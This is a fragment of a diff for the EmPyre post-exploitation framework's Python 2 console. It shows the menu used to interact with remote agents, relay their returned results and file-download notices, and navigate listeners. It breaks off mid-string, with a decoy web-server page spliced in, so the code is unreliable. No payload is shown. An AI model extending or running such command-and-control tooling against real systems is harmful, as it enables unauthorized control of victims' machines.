self.mainMenu.complete_usemodule(text, line, begidx, endidx) + + + def complete_usestager(self, text, line, begidx, endidx): + "Tab-complete an EmPyre stager module path." + return self.mainMenu.complete_usestager(text, line, begidx, endidx) + + +class AgentMenu(cmd.Cmd): + + def __init__(self, mainMenu, sessionID): + + cmd.Cmd.__init__(self) + + self.mainMenu = mainMenu + + self.sessionID = sessionID + + self.doc_header = 'Agent Commands' + + # try to resolve the sessionID to a name + name = self.mainMenu.agents.get_agent_name(sessionID) + + # set the text prompt + self.prompt = '(EmPyre: '+helpers.color(name, 'red')+') > ' + + # listen for messages from this specific agent + dispatcher.connect( self.handle_agent_event, sender=dispatcher.Any) + + # display any results from the database that were stored + # while we weren't interacting with the agent + results = self.mainMenu.agents.get_agent_results(self.sessionID) + if results: + print "\n" + results.rstrip('\r\n') + + # def preloop(self): + # traceback.print_stack() + + def handle_agent_event(self, signal, sender): + """ + Handle agent event signals. + """ + if "[!] Agent" in signal and "exiting" in signal: pass + + name = self.mainMenu.agents.get_agent_name(self.sessionID) + + if (str(self.sessionID) + " returned results" in signal) or (str(name) + " returned results" in signal): + # display any results returned by this agent that are returned + # while we are interacting with it + results = self.mainMenu.agents.get_agent_results(self.sessionID) + if results: + print "\n" + results + + elif "[+] Part of file" in signal and "saved" in signal: + if (str(self.sessionID) in signal) or (str(name) in signal): + print helpers.color(signal) + + + # print a nicely formatted help menu + # stolen/adapted from recon-ng + def print_topics(self, header, cmds, cmdlen, maxcol): + if cmds: + self.stdout.write("%s\n"%str(header)) + if self.ruler: + self.stdout.write("%s\n"%str(self.ruler * len(header))) + for cmd in cmds: + self.stdout.write("%s %s\n" % (cmd.ljust(17), getattr(self, 'do_' + cmd).__doc__)) + self.stdout.write("\n") + + + def emptyline(self): pass + + + def default(self, line): + "Default handler" + + print helpers.color("[!] Command not recognized, use 'help' to see available commands") + + + def do_back(self, line): + "Go back a menu." + return True + + + def do_main(self, line): + "Go back to the main menu." + raise NavMain() + + + def do_listeners(self, line): + "Jump to the listeners menu." + raise NavListeners() + + + def do_agents(self, line): + "Jump to the Agents menu." + raise NavAgents() + + + def do_help(self, *args): + "Displays the help menu or syntax for particular commands." + + cmd.Cmd.do_help(self, *args) + + + def do_list(self, line): + "Lists all active agents (or listeners)." + + if line.lower().startswith("listeners"): + self.mainMenu.do_list("listeners " + str(" ".join(line.split(" ")[1:]))) + elif line.lower().startswith("agents"): + self.mainMenu.do_list("agents " + str(" ".join(line.split(" ")[1:]))) + else: + print helpers.color("[!] Please use 'list [agents/listeners]This is the default web page for this server.
" + page += "The web server software is running but no content has been added, yet.
" + page += "